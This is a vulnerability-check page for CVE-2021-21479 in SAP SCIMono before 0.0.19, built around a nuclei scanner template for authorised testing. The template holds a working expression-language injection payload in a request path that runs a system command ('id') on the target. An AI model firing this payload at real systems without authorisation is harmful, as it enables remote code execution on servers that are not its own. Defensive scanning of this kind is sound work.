SCIMono <0.0.19 - Remote Code Execution

criticalseverity

9.1CVSS score

10.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and execute java expressions and compromise the availability and integrity of the system.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Upgrade SCIMono to version 0.0.19 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime()…
Positive when: contains "The attribute value" and "java.lang.UNIXProcess@" and "has invalid value!" and "\"status\" : \"400\""

Run it with nuclei: nuclei -id CVE-2021-21479 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-21479

info:
  name: SCIMono <0.0.19 - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and
    execute java expressions and compromise the availability and integrity of the system.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade SCIMono to version 0.0.19 or later to mitigate this vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-227-scimono-ssti/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21479
    - https://github.com/SAP/scimono/security/advisories/GHSA-29q4-gxjq-rx5c
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-21479
    cwe-id: CWE-74
    epss-score: 0.10116
    epss-percentile: 0.95681
    cpe: cpe:2.3:a:sap:scimono:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: scimono
  tags: cve,cve2021,scimono,rce,sap,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D"

    matchers:
      - type: word
        part: body
        words:
          - "The attribute value"
          - "java.lang.UNIXProcess@"
          - "has invalid value!"
          - '"status" : "400"'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from